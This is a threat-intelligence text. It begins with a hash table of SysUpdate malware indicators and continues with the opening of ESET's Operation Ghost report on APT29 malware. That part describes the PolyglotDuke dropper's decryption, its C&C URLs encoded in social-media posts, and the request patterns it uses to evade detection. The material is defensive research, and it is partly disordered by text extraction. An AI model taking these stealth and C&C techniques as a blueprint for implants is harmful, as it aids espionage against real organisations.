+SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +42e3fbff6f5576a3f4e8f941ea3dc00462d7838c +SHA1 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +938f32822c1a6b1140ac0af60a06ae39011464de37c511921d8a7d9c6a69c9df +SHA256 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +ef41da16fdedcc450d0cc6ca708a9222 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +714215d63b2f2d8f2caf94902af2f25452c21264 +SHA1 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +0777fa4832ecf164029e23d0125b4fdc87e2f46ffc4e1badd6a45cf5be721660 +SHA256 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +c25e8e4a2d5314ea55afd09845b3e886 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +e8cf3522b68a51b2aabcfc6f98b39da15a23da1d +SHA1 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +Indicator +Type +Context +76bc063f8f348a202f92faac0c36f1a0a122f9b3568342abcd97651be7adec08 +SHA256 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +88a27758f3066dd4da18983a005ddc20 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +1f9c979cbab9ff2519aa3bf3006a752177f4d8c6 +SHA1 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +24a7e226f14fb86275b423d63d0332bfb95e261532f0667517c01da9d2bc51b3 +SHA256 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +17acc1d983dde32b5bcde9c9624848b0 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +a03b14cac23dcfa2b2e12d5a8e53959d5a2e8fa2 +SHA1 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +3f69c0e7392bc6441a308281b07627797613d89666a5c9b22cb104edf359c46b +SHA256 +hash +SysUpdate installer (self-extracting +RAR file) associated with BRONZE +UNION +a13772805b772f374f7d709999a816d5 +hash +Malicious SysUpdate DLL (Wsock32.dll) +associated with BRONZE UNION +fa9600f1d15e61d5f2bdb8ac0399b7f42da63a01 +SHA1 +hash +Malicious SysUpdate DLL (Wsock32.dll) +associated with BRONZE UNION +d40903560072bb777290d75d7e31a927f05924bffe00d26713c6b39e8e68ae82 +SHA256 +hash +Malicious SysUpdate DLL (Wsock32.dll) +associated with BRONZE UNION +78142cdad08524475f710e5702827a66 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +bc20da9465a7a7f9c2d5666ea5370c6c1e988441 +SHA1 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +3cebc9161e3e964a2e7651566c5a710d0625192ddecd14cfc5a873e7bc6db96f +SHA256 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +0955e01bc26455965b682247ecb86add +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +23533c452b12131253e4e21f00ae082eba7cfdb3 +SHA1 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +9d9c9c17ae4100b817a311ea0c6402e9f3eedc94741423796df3ead1375aaebf +SHA256 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +d4bb5c6364c4b4a07e6bbf2177129655 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +Indicator +Type +Context +0689e40696a0cbecc5c3391e8b8b40d27a033186 +SHA1 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +dcfc9e4077705385328133557629fffee11662b7843b34dd4e1e42404ac2e921 +SHA256 +hash +Encrypted SysUpdate payload +(sys.bin.url) associated with BRONZE +UNION +cbb84d382724dd8adc5725dfca9b4af1 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +88de66897c448229b52c2ac991ba63e14fc3276b +SHA1 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +01926af0ff76607b3859734dda4b97fc55a8b8c2582982af786977929a414092 +SHA256 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +8cb11e271aba3354545a77751c1e783e +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +e49833f2a4ec0422410a1c28ef58c9fc33c3a13f +SHA1 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +7f16b19f22ab0a33f9bf284aa0c2a9b9a429c4f4b7b801f2d2d80440eb74437f +SHA256 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +53d0db22c5abaf904d85facb70a60c8e +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +d363606e6159a786b06891227efac2164eeda7b3 +SHA1 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +a941d46d6352fb2d70bba1423c4890dd5516e45d81f826900272ed14d0b678f4 +SHA256 +hash +Malicious SysUpdate DLL (pdh.dll) +associated with BRONZE UNION +9814cdc7033a97fcf4f31aa377be60ba +hash +Malicious SysUpdate ActiveX control +(LDVPOCX.OCX) associated with +BRONZE UNION +2d568eb8ef17529e8bb6e658a032690e0f527d24 +SHA1 +hash +Malicious SysUpdate ActiveX control +(LDVPOCX.OCX) associated with +BRONZE UNION +9c1c798ba8b7f6f2334dcfcb8066be05d49c2e1395f7e7c8332e42afa708f5ae +SHA256 +hash +Malicious SysUpdate ActiveX control +(LDVPOCX.OCX) associated with +BRONZE UNION +8b8e44bd5e4a9f7d58714ba9ca72351c +hash +Word document downloader +(Final.docx) used by BRONZE UNION, +associated with SysUpdate +02704ef94519eee0a57073b1e530ffea73df2a1f +SHA1 +hash +Word document downloader +(Final.docx) used by BRONZE UNION, +associated with SysUpdate +86de90119b572620fd6a690b903c721679359cdc81f3d3327677e13539d5f626 +SHA256 +hash +Word document downloader +(Final.docx) used by BRONZE UNION, +associated with SysUpdate +Table 2. Indicators for this threat. +ESET Research White papers // October 2019 +OPERATION +GHOST +The Dukes aren +t back +they never left +Matthieu Faou +Mathieu Tartare +Thomas Dupuy +TABLE OF CONTENTS +Executive summary . +Background . . . . . . . . . . . . . . . . . . . . . . . . 4 +Timeline . . . . . . . . . . . . . . . . . . . . . . . +Targets . . . . . . . . . . . . . . . . . . . . . . . +Tools and tactics . . . . . . . . . . . . . . . . . . . . +Operation Ghost . +Targets and timeline . +Attribution to the Dukes . . . . . . . . . . . . . . . . . +Tactics and tools . . . . . . . . . . . . . . . . . . . . 10 +Operational times . + . 11 +Technical analysis . . . . . . . . . . . . . . . . . . . . . . 12 +Compromise vector . . . . . . . . . . . . . . . . . . . 12 +PolyglotDuke: the first stage . +RegDuke: a first-stage implant . . . . . . . . . . . . . . . 18 + . 12 +MiniDuke backdoor: the second stage . . . . . . . . . . . . . 21 +FatDuke: the third stage . . . . . . . . . . . . . . . . . 23 +LiteDuke: the former third stage . +Conclusion . . . . . . . . . . . . . . . . . . . . . . . . +Bibliography . +Indicators of Compromise . . . . . . . . . . . . . . . . . . . 36 +Hashes . +Network . +MITRE ATT&CK techniques . . . . . . . . . . . . . . . . . . + . 36 +LIST OF TABLES +Table 1 +List of parameters used to generate GET request to the C&C server . +Table 2 +Example of redirection from the C&C servers + root URLs . + . 16 +Table 3 +List of execution type combination and their corresponding behavior . + . 18 +Table 4 +RegDuke Windows registry keys . +Table 5 +Hardcoded User-Agent . +Table 6 +FatDuke backdoor commands . +Table 7 +User-Agent strings used by LiteDuke . + . 33 +LIST OF FIGURES +Figure 1 +Dukes history timeline + newly discovered items related to Operation Ghost +are shaded . . . . . . . . . . . . . . . . . . . . . . +Figure 2 +Historical malicious email example. . +Figure 3 +Decoy document opened by the malicious attachment . +Figure 4 +Reddit post containing an encoded C&C URL . +Figure 5 +Timeline of Operation Ghost . +Figure 6 +Comparison of a custom string encryption function found in PolyglotDuke +and in OnionDuke samples from 2013 . . . . . . . . . . . . . +Figure 7 +Summary of Operation Ghost malware platform . +Figure 9 +Dukes operational hours . +Figure 10 Example of a public post containing an encoded C&C URL . +Figure 11 C&C response with a path to an image to download . +Figure 12 Communication sequence with the C&C server . + . 11 + . 10 + . 9 + . 7 + . 7 +Figure 13 Embedded blob format . +Comparison of the same function in MiniDuke from 2014 and in +MiniDuke from 2018 . . . . . . . . . . . . . . . +Figure 8 + . 6 + . 17 +Figure 14 Decompiled hash signature verification procedure . +Figure 15 Public key used to verify the hash signature . +Figure 16 Encrypted blob format after decryption . +Figure 17 Obfuscated RegDuke sample . +Figure 18 RegDuke. The path, password and salt are hardcoded in this example. . +Figure 19 Decryption of RegDuke payload . +Figure 20 Dropbox backdoor configuration (redacted) . +Figure 22 Loop extracting a payload from the pixels of a downloaded picture . +Figure 21 Example of two pictures downloaded from the Dropbox directory . + . 20 +. 21 +Figure 23 The least significant bits of each color of each pixel are extracted to recover +the hidden data . +Figure 24 Comparison between a blue of value 255 and a blue of value 248 . + . 22 +Figure 25 Invalid digital signature added to the backdoor . +Figure 26 Control flow flattening used to obfuscate the MiniDuke backdoor . + . 22 + . 23 +Figure 27 Post request to the C&C server that looks like a regular jpeg file upload . + . 23 +Figure 28 FatDuke configuration data in the PE resources . +Figure 29 FatDuke configuration example . + . 25 +Figure 30 FatDuke C&C protocol . + . 26 +Figure 31 Additional image tag sent by FatDuke C&C . + . 27 +Figure 32 C&C response including most of a valid PNG header and an encrypted +command for FatDuke . +Figure 33 Example of commands sent to FatDuke . +Figure 34 FatDuke obfuscation + String stacking . + . 27 +Figure 35 FatDuke obfuscation + Opaque predicate . +Figure 36 FatDuke obfuscation + Junk function call . +Figure 37 FatDuke obfuscation + Junk function return value . +Figure 38 FatDuke obfuscation + Chromium strings . +Figure 39 LiteDuke unpacking process . + . 30 +Figure 40 Curious phone number left by the attackers . +Figure 41 Assembler used by the developer (screenshot of DIE analysis) . + . 32 +Figure 42 Multiple while loops instead of a backdoor switch case . + . 33 +Figure 43 List of LiteDuke command IDs . + . 33 +Figure 44 LiteDuke C&C domain, resources and parameters . + . 34 +Operation Ghost +The Dukes aren +t back + they never left +EXECUTIVE SUMMARY +It is exceptionally rare for a well-documented threat actor, previously implicated in very high-profile attacks, +to stay completely under the radar for several years. Yet, in the last three years that is what APT group +the Dukes (aka APT29 and Cozy Bear) has done. Despite being well known as one of the groups to hack the +Democratic National Committee in the run-up to the 2016 US election, the Dukes has received little subsequent attention. The last documented campaign attributed to them is a phishing campaign against +the Norwegian government that dates back to January 2017. +In this white paper, we describe how we uncovered that the Dukes had been running successful espionage +campaigns while avoiding public scrutiny, thanks to stealthy communication techniques and retooling. +We call these newly uncovered Dukes campaigns, collectively, Operation Ghost, and describe how the group +has been busy compromising government targets, including three European Ministries of Foreign Affairs and +the Washington DC embassy of a European Union country, all without drawing attention to their activities. +Key points in this white paper: +The Dukes never stopped their espionage activities. + Operation Ghost likely started in 2013. + The last known activity linked to Operation Ghost occurred in June 2019. + ESET researchers identified at least three victims: all European Ministries of Foreign Affairs including +the Washington DC embassy of a European Union country. + The Dukes have used four new malware families in this campaign: PolyglotDuke, RegDuke, FatDuke +and LiteDuke. + Operation Ghost uses a previously documented Dukes backdoor: MiniDuke. + The Dukes have leveraged online services such as Twitter, Imgur and Reddit to act as primary Command +and Control (C&C) channels for their first-stage malware. + The Dukes have used very stealthy techniques such as steganography to hide communications between +compromised machines and their C&C servers. +For any inquiries related to this white paper, contact us at threatintel@eset.com. +BACKGROUND +The Dukes, also known as APT29 and Cozy Bear, is an infamous cyberespionage group active since at least +2008. In particular, it is known for being one of the adversaries to have breached the Democratic National +Committee during the 2016 US presidential election [1]. It was even featured in a joint report issued by the +FBI and the Department of Homeland Security (DHS), as part of malicious cyber-activities the report dubbed +Grizzly Steppe [2]. That report was published in 2017 and describes malicious activities that occurred around +the presidential election of 2016. +This section is a summary of the group +s previously documented activities to refresh the reader +s memory, +since the last related publication dates from almost three years ago. Our most recent discoveries are detailed +in the subsequent sections of this white paper. +2.1 Timeline +Even though the group +s activities are believed to have started in 2008, the first public report was released +in 2013 with the analysis of MiniDuke by Kaspersky [3]. Over the next two years, multiple reports dissected +the Dukes + arsenal, including a comprehensive summary by F-Secure of the group +s activities from 2008 +to 2015 [4]. +One of the most recent attacks that we can link to the Dukes is the January 2017 phishing attempt against +the Ministry of Foreign Affairs, the Labour Party and the Armed Forces of Norway [5]. Since then, most security +experts have believed the Dukes went dark or completely changed their arsenal to pursue their mission. +Operation Ghost +The Dukes aren +t back + they never left +In November 2018, a strange phishing campaign hit dozens of different organizations in the United States, +including government agencies, and think tanks. The attack leveraged a malicious Windows shortcut +(a .lnk file) that bore similarities to a malicious shortcut used by the Dukes in 2016. However, that earlier +sample was available in a public malware repository for many years, allowing another actor to easily conduct +a false-flag operation. In addition, there is no evidence that any custom malware used only by the Dukes +was employed during this attack. From FireEye +s detailed analysis of the attack [6], it was not possible +to make a high-confidence attribution to this threat actor. +Figure 1 summarizes the important events of the Dukes history. Some activities related to Operation Ghost +are also presented to help understand the overlap between all the events. +2008 +2013 +2013 +Dukes + first known +activities +First public report +by Kaspersky Labs +First known activity +linked to Operation +Ghost by ESET +2017 +2016 +August +2017 +First known deployment +of the RegDuke malware +Grizzly Steppe report +by the FBI and the DHS +2018 +2019 +Last known Twitter +account registered +by the Dukes +Latest observed activity +October +September +Newly discovered +items related +to Operation Ghost +2015 +Attack against +the US Democratic +National Committee +(discovered in 2016) +First known deployment +of the latest third-stage +implant: FatDuke +June +Figure 1 // Dukes history timeline +2.2 Targets +Over the years, it has been possible to draw the big picture of the Dukes main targets. The group is primarily +interested in spying on governments either in the West or in former USSR countries. Besides governments, +the group has also targeted various organizations linked to NATO, think tanks, and political parties. +This targeting suggests a clear interest in collecting information allowing a better understanding of future +international political decisions, which would seem of most interest to a government. Unlike other groups +such as GreyEnergy [7] and TeleBots [8], it is important to note that we have never seen the Dukes engaged +in cybersabotage operations. +Surprisingly though, the group also has conducted spying operations outside its main focus. In 2013, +Kaspersky researchers found evidence that part of the Dukes toolset had been used against drug dealers +in Russia [9]. This may suggest that this toolset is not only used for collecting foreign intelligence but also +for conducting LE investigations of criminal activities. +Operation Ghost +The Dukes aren +t back + they never left +2.3 Tools and tactics +The Dukes group is known to be a major player in the espionage scene. It is associated with a large +toolset with more than ten different malware families written in C/C++ [10], PowerShell [11], .NET [12] +and Python [13]. It has also adopted living-off-the-land tactics, misusing standard IT tools such as PsExec +and Windows Management Instrumentation (WMI). +As mentioned before, we invite our readers to read the F-Secure summary [4] for an analysis of the earlier +malware platforms used by this threat actor. +Delivery +The group +s main initial tactic to breach a network is to send spearphishing emails that contain a link +or an attachment. Figure 2 is an example of one such campaign, which occurred at the end of 2016. In order +to increase the attackers + chances, it is designed to be a subject of particular interest of the recipient. This +is different from mass-spreading malicious email campaigns where the same email is sent to hundreds +or thousands of people by crimeware actors. +Figure 2 // Historical malicious email example. +Source: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ +When targets click on these malicious links or attachments, a .zip archive that contains a malicious, +macro-enabled Word document and a decoy (as shown in Figure 3) will be downloaded. If victims then +open the malicious document and enable the macro, it will then install the PowerDuke backdoor [14]. +In other cases, malicious Windows shortcuts (.lnk files) have been used instead of Word documents +with malicious macros. +Figure 3 // Decoy document opened by the malicious attachment +Operation Ghost +The Dukes aren +t back + they never left +However, this is not the only method used by the Dukes to gain initial access. In 2014, the Dukes started +using two mass-spreading methods to deliver the OnionDuke implant: + Trojanized pirated applications downloaded via BitTorrent + A malicious TOR exit node to trojanize downloaded applications on the fly [15] [16] +OnionDuke has some capabilities outside the standard espionage features, such as a Denial of Service (DoS) +module, but we have not observed them used in the wild. +Finally, the Dukes are also known for using multiple implants to compromise a target. It is very common +to see an implant delivering another one to regain control of a system. +Command and Control (C&C) +The Dukes have employed several interesting tactics to hide the communications between the implants +and their C&C servers, including the use of social media platforms and steganography. +MiniDuke [17] and HammerDuke [12] leveraged Twitter to host their C&C URLs. In addition, they use +a Domain Generation Algorithm (DGA) to generate new Twitter handles. Each time the malware generates +a new handle, it fetches the Twitter page corresponding to that handle and searches the page for a specific +pattern, which is the encrypted C&C URL. +In CloudDuke [18], the operators leveraged cloud storage services such as OneDrive as their C&C channels. +They were not the first group to use this technique, but it is generally effective for the attackers +as it is harder for defenders to spot hostile connections to legitimate cloud storage services than +to other +suspicious + or low-reputation URLs. +Moreover, the Dukes like to use steganography to hide data, such as additional payloads, in pictures. +It allows them to blend into typical network traffic by transferring valid images while its true purpose +is to allow the backdoor to communicate with the C&C server. This technique has been described +in Volexity +s PowerDuke blogpost [14]. +OPERATION GHOST +After 2017, it was not clear how the Dukes evolved. Did they totally stop their activities? Did they fully +re-write their tools and change their tradecraft? +We spent months apparently chasing a ghost then, a few months ago, we were able to attribute several +distinct intrusions to the Dukes. During the analysis of those intrusions, we uncovered several new malware +families: PolyglotDuke, RegDuke and FatDuke. We call the Dukes + campaigns using these newly discovered +tools Operation Ghost. +3.1 Targets and timeline +We believe Operation Ghost started in 2013 and was still ongoing as of this writing. Our research shows +that the Ministry of Foreign Affairs in at least three different countries in Europe are affected by this campaign. We also have discovered an infiltration by the Dukes at the Washington, DC embassy of a European +Union country. +This targeting is not surprising, and it shows that the Dukes are still active in high-profile organizations. +We also believe that more organizations around the world might be affected but due to the use of unique +C&C infrastructure for each victim, we were not able to identify other targets. +One of the first traces of this campaign is to be found on Reddit in July 2014. Figure 4 shows a message +posted by one of the Dukes + operators. The strange string using an unusual charset is the encoded URL +of a C&C server and is used by PolyglotDuke as described in section 4.2. +Operation Ghost +The Dukes aren +t back + they never left +Figure 4 // Reddit post containing an encoded C&C URL +Figure 5 presents the timeline of Operation Ghost. As it is based on ESET telemetry, it might be only a partial +view of a broader campaign. +2013 +September +First known +compilation timestamp +of PolyglotDuke +2014 +2016 +Post on Reddit +containing an encoded +C&C URL +First known deployment +in the wild of a FatDuke +sample +July +September +2019 +2019 +2018 +Publication +of this report +Latest known FatDuke +sample deployed +in the wild +Last Twitter account +registered by the Dukes +October +June +October +2017 +August +First known deployment +in the wild of a RegDuke +sample +Figure 5 // Timeline of Operation Ghost +3.2 Attribution to the Dukes +It is important to note that when we describe so-called +APT groups +, we +re making connections +based on technical indicators such as code similarities, shared C&C infrastructure, malware +execution chains, and so on. We +re typically not directly involved in the investigations +and identification of the individuals writing the malware and/or deploying it, and the interpersonal +relationships between them. Furthermore, the term +APT group + is very loosely defined, and often +used merely to cluster the abovementioned malware indicators. This is also one of the reasons +why we refrain from speculation with regard to attributing attacks to nation states and such. +On one hand, we noticed numerous similarities in the tactics of this campaign in comparison to previously +documented ones: + Use of Twitter (and other social websites such as Reddit) to host C&C URLs. + Use of steganography in pictures to hide payloads or C&C communications. + Use of Windows Management Instrumentation (WMI) for persistence. +Operation Ghost +The Dukes aren +t back + they never left +We also noticed important similarities in the targeting: + All the known targets are Ministries of Foreign Affairs. + Two of the three known targeted organizations were previously compromised by other Dukes malware +such as CozyDuke, OnionDuke or MiniDuke. + On some machines compromised with PolyglotDuke and MiniDuke, we noticed that CozyDuke +was installed only a few months before. +However, an attribution based only on the presence of known Dukes tools on the same machines should be +taken with a grain of salt. We also found two other APT threat actors + Turla [19] and Sednit [20] + on some +of the same computers. +On the other hand, we were able to find strong code similarities between already documented samples +and samples from Operation Ghost. We cannot discount the possibility of a false flag operation; however, +this campaign started while only a small portion of the Dukes + arsenal was known. In 2013, at the first known +compilation date of PolyglotDuke, only MiniDuke had been documented and threat analysts were not +yet aware of the importance of this threat actor. Thus, we believe Operation Ghost was run simultaneously +with the other campaigns and has flown under the radar until now. +PolyglotDuke (SHA-1: D09C4E7B641F8CB7CC86190FD9A778C6955FEA28), documented in detail in section 4.2 +uses a custom encryption algorithm to decrypt the strings used by the malware. We found functionally +equivalent code in an OnionDuke sample (SHA-1: A75995F94854DEA8799650A2F4A97980B71199D2) +that was documented by F-Secure in 2014 [16]. It is interesting to note that the value used to seed +the srand function is the compilation timestamp of the executable. For instance, 0x5289f207 +corresponds to Mon 18 Nov 2013 10:55:03 UTC. +The IDA screenshots in Figure 6 show the two similar functions. +PolyglotDuke +OnionDuke +Figure 6 // Comparison of a custom string encryption function found in PolyglotDuke +and in OnionDuke samples from 2013 +Similarly, the recent samples of the MiniDuke backdoor bear similarities with samples documented more +than five years ago. Figure 7 is the comparison of a function in a MiniDuke backdoor listed by Kaspersky +in 2014 [21] (SHA-1: 86EC70C27E5346700714DBAE2F10E168A08210E4) and a MiniDuke backdoor +(SHA-1: B05CABA461000C6EBD8B237F318577E9BCCD6047) compiled in August 2018. +Operation Ghost +The Dukes aren +t back + they never left +MiniDuke from 2014 +MiniDuke from 2018 +Figure 7 // Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018 +Given the numerous similarities between other known Dukes campaigns and Operation Ghost, especially +the strong code similarities, and the overlap in time with previous campaigns, we assess with high +confidence that this operation is run by the Dukes. +3.3 Tactics and tools +In Operation Ghost, the Dukes have used a limited number of tools, but they have relied on numerous +interesting tactics to avoid detection. +First, they are very persistent. They steal credentials and use them systematically to move laterally on the +network. We have seen them using administrative credentials to compromise or re-compromise machines +on the same local network. Thus, when responding to a Dukes compromise, it is important to make sure +to remove every implant in a short period of time. Otherwise, the attackers will use any remaining implant +to compromise the cleaned systems again. +Second, they have a sophisticated malware platform divided in four stages: + PolyglotDuke, which uses Twitter or other websites such as Reddit and Imgur to get its C&C URL. +It also relies on steganography in pictures for its C&C communication. + RegDuke, a recovery first stage, which uses Dropbox as its C&C server. The main payload is encrypted +on disk and the encryption key is stored in the Windows registry. It also relies on steganography as above. + MiniDuke backdoor, the second stage. This simple backdoor is written in assembly. It is very similar +to older MiniDuke backdoors. + FatDuke, the third stage. This sophisticated backdoor implements a lot of functionalities and has a very +flexible configuration. Its code is also well obfuscated using many opaque predicates. They re-compile +it and modify the obfuscation frequently to bypass security product detections. +Figure 8 is a summary of the malware platform of Operation Ghost. During our investigation, we also found +a previously unknown (and apparently now retired) third-stage backdoor, LiteDuke, that was used back +in 2015. For the sake of historical completeness, it is analyzed in section 4.6. +Operation Ghost +The Dukes aren +t back + they never left +Hypothesis +Initial +Compromise +Fetch +the C&C URL +Malicious document +sent by email +Stolen credentials +& lateral movement +RegDuke +PolyglotDuke +Online Service +Stage 1 +Downloads a picture +from the C&C server +Downloads a picture +from the Dropbox account +Decode, decrypt +and drop +Decrypt +and drop +MiniDuke +Stage 2 +Downloads a picture +from the C&C server +Decrypt +and drop +FatDuke +Stage 3 +Figure 8 // Summary of Operation Ghost malware platform +Third, we also noticed that the operators avoid using the same C&C network infrastructure between +different victim organizations. This kind of compartmentalization is generally only seen by the most +meticulous attackers. It prevents the entire operation from being burned when a single victim discovers +the infection and shares the related network IoCs with the security community. +3.4 Operational times +When it comes to cyberespionage, it is not uncommon for the malware developers and operators to follow +the standard working hours of the country where they are located. For instance, we previously showed that +Sednit operators were generally working from 9 AM to 5PM in the UTC+3 time zone [20]. Previously, FireEye +researchers noticed that the Dukes were also mainly operating in the UTC+3 time zone [12]. +For Operation Ghost, we compiled three different types of timestamp in order to have an idea of their +operational times: + The time at which they uploaded C&C pictures to the Dropbox account used by RegDuke + The time at which they posted encoded C&C URLs on the social media accounts used by PolyglotDuke + The compilation timestamps of dozens of samples. We believe they were not tampered with, +as they are consistent with what we see in ESET telemetry data. +It should be noted that some of these timestamps may have been generated by an automated command +system or an automated build system. +Operation Ghost +The Dukes aren +t back + they never left +Figure 9 shows the distribution of the operational hours of the Dukes in the three different time zones. The +distribution aligns well with working hours in a UTC+2 or UTC+3 time zone, with occasional work during the +night. This might be explained by a need to work at the same time as some of their victims. +Operational Hours +Number +of timestamps +UTC +2 timezone +UTC +3 timezone +UTC timezone +Hour +Figure 9 // Dukes operational hours +TECHNICAL ANALYSIS +In this part, we present the technical analyses of the different malware stages used in Operation Ghost. +4.1 Compromise vector +Despite having analyzed the Dukes activities in several different organizations, we were not able to find the +initial compromise vector. The group is known for sending well-crafted malicious emails, but we did not find +any such samples. +It should also be noted that two of the three targeted organizations we identified had previously been +compromised by the Dukes, mainly in 2015. As such, it is highly possible that the attackers kept control over +the compromised networks during this whole period. We observed them pivoting in an already-compromised +network using lateral movement tools like PsExec and stolen administrative credentials. As such, from only a +few compromised machines, they are able to expand their operations. +4.2 PolyglotDuke: the first stage +PolyglotDuke is a downloader that is used to download and drop the MiniDuke backdoor. As mentioned +in section 3.2 and shown in Figure 6, this downloader shares several similarities with other samples from +previous Dukes campaigns such as the use of Twitter to retrieve and decode its C&C server address, as well +as a custom string encryption implementation. Both 32- and 64-bit versions of PolyglotDuke were observed +and have similar behavior. We dubbed this downloader PolyglotDuke in reference to its use of charsets from +different languages to encode the C&C addresses. +Operation Ghost +The Dukes aren +t back + they never left +Dropper +PolyglotDuke +s dropper embeds an encrypted PolyglotDuke within a resource type named GIF with the +ID 129. The resource is encrypted with the following algorithm, using the string GIF89 from the resource +(which is the 5 first magic bytes of the start of the GIF header) as the key: +clearText[i] = (i / 5) ^ cypherText[i] ^ aGif89[i % 5] +After decryption, the DLL is written to the current working directory and executed using rundll32.exe. +The custom string encryption algorithm used by the PolyglotDuke dropper is identical to the one used by +PolyglotDuke, as well as other samples from previous Dukes campaigns, and is depicted in Figure 7. +As mentioned in section 3.2, it +s worth noting that this dropper shares a great deal of functionality with +OnionDuke, such as the use of a GIF resource, the use of the same algorithm with the string GIF89 as key to +decrypt the resource, and the use of the same custom encryption algorithm to encrypt the strings. +C&C server address retrieval from public webpages +Strings from PolyglotDuke are decrypted using two different algorithms. The string is either RC4 encrypted +using the CryptDecrypt API where the key is derived from the system directory path with the drive letter +removed, or using the custom encryption algorithm shown in Figure 6. An IDA Python script to decrypt +these strings is provided in our GitHub repository. +The C&C server address is retrieved and decoded from various public webpages such as Imgur, ImgBB or +Fotolog posts, tweets, Reddit comments, Evernote public notes, etc. Several encrypted public webpage URLs +are hardcoded in each sample (from three to six URLs in a single sample) and it will iterate over the hardcoded list of C&C server addresses until it is able to decode a valid C&C URL successfully. An example +of a public webpage containing an encoded C&C URL is shown Figure 10. +Figure 10 // Example of a public post containing an encoded C&C URL +After retrieving the content of one of these webpages, PolyglotDuke parses it to find two delimiter strings +and extracts the content between them. The extracted UTF-8 string uses a particular character set within a +Unicode block such as Katakana [22], Cherokee [23] or Kangxi radicals [24]. Any given sample can only +decode a C&C URL encoded in one of those charsets. The string is first converted to UTF-16, only the last +byte of each codepoint is kept, then a custom mapping is used to transpose this to printable ASCII. The order +of the characters of the resulting string is then reversed, resulting in the C&C URL. A script to decrypt the +C&C URL, regardless of the Unicode range used, is provided on our GitHub repository. +Operation Ghost +The Dukes aren +t back + they never left +PolyglotDuke, a multilingual downloader +Katakana is a Japanese syllabary (part of the Japanese writing system), while Cherokee syllabary is +used to write Cherokee (which is a Haudenosaunee language), and Kangxi radicals are components of +Chinese characters. The use of these character sets from different languages is the reason we named +this downloader PolyglotDuke: +Katakana +Cherokee +Kangxi radicals +Interestingly, the text from the delimiter strings usually makes sense in the context of the fake post. +The decoded C&C URL points to a PHP script with which the downloader communicates using GET requests, +as described in the next section. +Communication with the C&C server +Once the C&C server URL is decoded, the compromised computer sends HTTP GET requests with arguments +using the following format: +GET example.com/name. +php?[random_param1]=[random_string1]&[random_param2]=[random_string2] +Only the argument values are relevant here as the argument names are selected randomly from a hardcoded list. The list of argument names used is shown in Table 1. This makes the communication between +PolyglotDuke and the C&C server difficult to identify because there are no obvious patterns. Additionally, the +User-Agent header used to perform the GET requests is a common one: +Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; +SV1; .NET CLR 3.3.69573; WOW64; en-US) +List of parameters used to generate GET request to the C&C server +Table 1 +List of hardcoded argument names +action +campaign_id +data +extra +extra_1 +Format +img_id +Item +itemId +item_id +mod_id +mode +Number +Oldid +option +page +Pflo +placement +Show +state +Term +Title +View +Operation Ghost +The Dukes aren +t back + they never left +The GET argument values are randomly generated but the first random string in each request should comply +with a constraint based on a specific integer (see below). A string will be randomly regenerated until one +complies with the constraints. The digits from the string representation of the MD5 hash of the randomly +generated string are summed, and then modulo 5 of this value must match a specific integer. +The communication with the C&C server to retrieve a payload follows this sequence: + First the communication with the C&C server is checked. The sum of the digits of the MD5 hash +of the first argument modulo 5 should be equal to 4. The response of the C&C server is matched +with the second random string as it will echo back this string in case of successful communication. + If the communication with the C&C server is successful, a custom hash from the concatenation +of the username and the volume serial number of the disk of the current directory is generated +and sent twice. The modulo 5 value of the MD5 hash of the first parameters of these requests should +be 0 and 2 respectively. + In the response to the second request, search for strings in the last +response and extract the image filename between them, if present. Figure 11 shows a C&C server +response at the identification step, with a path to an image (cuteanimals12.jpg in this case). + If a filename was extracted in the preceding step, the file is retrieved into the directory whose +name is the unique ID sent twice at the registration step: +GET example.com//cuteanimals12.jpg +Figure 11 // C&C response with a path to an image to download +This sequence continues until a path to a file is provided between the strings and the +file downloaded. The communication steps are summarized in Figure 12. +PolyglotDuke +Twitter, Imgur +Reddit +C&C server +Retrieve C&C address +Communication check +Echo +Identification +Path to file +Get img +Time +Figure 12 // Communication sequence with the C&C server +Operation Ghost +The Dukes aren +t back + they never left +Interestingly, the root URLs of the C&C server used by PolyglotDuke redirect to domains with similar names +hosting legitimate websites. This technique is probably used in order to avoid suspicion when investigating +the traffic with the C&C server. For one of the C&C servers, the attackers forgot to add a TLD to the redirected domain. Examples of redirection are shown in Table 2. +Table 2 +Example of redirection from the C&C servers + root URLs +C&C server domain name +Redirection target 